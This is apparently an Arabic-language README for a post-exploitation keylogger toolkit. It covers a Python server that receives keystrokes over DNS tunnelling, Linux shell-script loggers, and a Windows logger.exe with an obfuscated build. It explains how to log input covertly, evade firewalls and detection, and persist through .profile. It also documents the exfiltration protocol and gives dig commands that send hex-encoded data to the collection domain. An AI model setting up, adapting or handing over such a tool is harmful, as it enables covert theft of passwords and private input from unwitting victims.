
خادم وعميل لتسجيل ضغطات المفاتيح يستخدمان DNS tunneling/exfiltration لنقل ضغطات المفاتيح عبر جدران الحماية.
سيسجل هذا المسجل اللاحق للاستغلال ضغطات المفاتيح بشكل خفي إلى خادم.
تتميز هذه الأدوات بقدرتها الفائقة على الاقتطاف الخفيف والثبات، وهي خصائص تمنع اكتشافها. تستخدم نفق/اقتطاف DNS لتجاوز جدران الحماية وتجنب الكشف.
يستخدم الخادم بايثون 3.
لتثبيت التبعيات، قم بتشغيل python3 -m pip install -r requirements.txt
لبدء الخادم، قم بتشغيل python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
بشكل افتراضي، يستمع الخادم على منفذ UDP 53. استخدم العلم -p لتحديد منفذ مختلف.
ip هو عنوان IP للخادم. يُستخدم في سجلات SOA و NS، والتي تسمح لخوادم الأسماء الأخرى بالعثور على الخادم.
domain هو المجال الذي سيتم الاستماع إليه، والذي يجب أن يكون المجال الذي يتمتع الخادم بسلطة عليه.
في المسجل، تريد تغيير نطاق اسم المجال الخاص بك إلى DNS مخصص.
وجّهها إلى نطاقين، ns1.example.com و ns2.example.com.

أضف سجلات تشير إلى نطاقات الأسماء إلى عنوان IP الخاص بخادم الاقتطاف الخاص بك.

هذا هو نفسه إعداد سجلات الغراء.
مسجل المفاتيح لنظام لينكس هو نصان شيل. يتم استخدام connection.sh بواسطة نص logger.sh لإرسال ضغطات المفاتيح إلى الخادم. إذا كنت ترغب في إرسال البيانات يدويًا، مثل ملف، يمكنك توجيه البيانات إلى نص connection.sh. سيقوم بإنشاء اتصال تلقائيًا وإرسال البيانات.
logger.shUsage: logger.sh [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-p path: give path to log file to listen to
-l: run the logger with warnings and errors printed
لبدء مسجل المفاتيح، قم بتشغيل الأمر ./logger.sh [domain] && exit. سيؤدي هذا إلى بدء مسجل المفاتيح بصمت، وسيتم إرسال أي مدخلات تمت كتابتها. && exit في النهاية ستؤدي إلى إغلاق الشيل عند الخروج. بدونها، سيعيدك الخروج إلى الشيل غير المسجل. قم بإزالة &> /dev/null لعرض رسائل الخطأ.
سيحدد الخيار -p موقع ملف السجل المؤقت حيث يتم إرسال جميع المدخلات إليه. بشكل افتراضي، هذا هو /tmp/.
سيظهر الخيار -l التحذيرات والأخطاء. يمكن أن يكون مفيدًا لتصحيح الأخطاء.
يجب أن يكون logger.sh و connection.sh في نفس الدليل لكي يعمل مسجل المفاتيح. إذا كنت تريد الثبات، يمكنك إضافة الأمر إلى .profile ليبدأ في كل شيل تفاعلي جديد.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
لبناء برنامج تسجيل المفاتيح، قم بتشغيل make في دليل windows. للبناء بحجم أصغر وقدر من التعتيم، استخدم الهدف production. سينشئ هذا الدليل build لك ويخرج إلى ملف باسم logger.exe في دليل build. لقد اختبرت البناء باستخدام MinGW على ويندوز 10 فقط. إذا حاولت استخدام g++ على جهاز غير ويندوز، فمن المحتمل أن تحصل على أخطاء بناء تتعلق بـ windows.h.
make production domain=example.com
يمكنك أيضًا اختيار بناء البرنامج مع التصحيح عن طريق عمل الهدف debug.
make debug domain=example.com
لكلا الهدفين، ستحتاج إلى تحديد المجال الذي يستمع إليه الخادم.
يمكنك استخدام dig لإرسال الطلبات إلى الخادم:
dig @127.0.0.1 a.1.1.1.example.com A +short إرسال طلب اتصال إلى خادم على المضيف المحلي.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short إرسال رسالة اختبار إلى المضيف المحلي.
استبدل example.com بالمجال الذي يستمع إليه الخادم.
تشير طلبات سجلات A التي تبدأ بـ a إلى بداية "اتصال". عندما يستقبلها الخادم، سيرد بعنوان IP وهمي غير محجوز حيث يحتوي الثماني الأخير على معرف العميل.
فيما يلي التنسيق الذي يجب اتباعه لبدء اتصال: a.1.1.1.[sld].[tld].
سيرد الخادم بعنوان IP بالتنسيق التالي: 123.123.123.[id]
لا يمكن أن تتجاوز الاتصالات المتزامنة 254، ولا يتم اعتبار العملاء "منفصلين" أبدًا.
تشير طلبات سجلات A التي تبدأ بـ b إلى البيانات المقتطفة التي يتم إرسالها إلى الخادم.
فيما يلي التنسيق الذي يجب اتباعه لإرسال البيانات بعد إنشاء اتصال: b.[رقم الحزمة].[id].[البيانات].[sld].[tld].
سيرد الخادم بـ [code].123.123.123
id هو المعرف الذي تم إنشاؤه عند الاتصال. يتم إرسال البيانات كـ ASCII مشفر بالنظام الست عشري.
code هو أحد الرموز الموضحة أدناه.
200: حسناًإذا أرسل العميل طلبًا تمت معالجته بشكل طبيعي، سيرد الخادم برمز 200.
201: طلبات سجلات غير صحيحةإذا أرسل العميل طلب سجل غير صحيح، سيرد الخادم برمز 201.
202: اتصالات غير موجودةإذا أرسل العميل حزمة بيانات تحتوي على معرف أكبر من عدد الاتصالات، سيرد الخادم برمز 202.
203: حزم خارج الترتيبإذا أرسل العميل حزمة ذات معرف حزمة لا يتطابق مع ما هو متوقع، سيرد الخادم برمز 203. يجب على العملاء والخوادم إعادة تعيين أرقام حزمهم إلى 0. ثم يمكن للعميل إعادة إرسال الحزمة باستخدام معرف الحزمة الجديد.
204: تم الوصول إلى الحد الأقصى للاتصالاتإذا حاول العميل إنشاء اتصال عندما يتم الوصول إلى الحد الأقصى، سيرد الخادم برمز 204.
يجب على العملاء الاعتماد على الردود كإقرارات باستلام الحزم. إذا لم يتلقوا ردًا، فيجب عليهم إعادة إرسال نفس المحتوى.
يحتوي ملف السجل الذي يحتوي على مدخلات المستخدم على أحرف تحكم ASCII، مثل المسافة الخلفية والحذف وإرجاع العربة. إذا قمت بطباعة المحتويات باستخدام شيء مثل cat، يجب عليك تحديد الخيار المناسب لطباعة أحرف تحكم ASCII، مثل -v لـ cat، أو فتحها في محرر نصوص.
يعتمد مسجل المفاتيح على script، لذلك لن يعمل مسجل المفاتيح في الشيلات غير التفاعلية.
لسبب ما، يرسل Dns_Query_A في ويندوز دائمًا طلبات مكررة. سيعالجها الخادم بشكل جيد لأنه يتجاهل الحزم المكررة.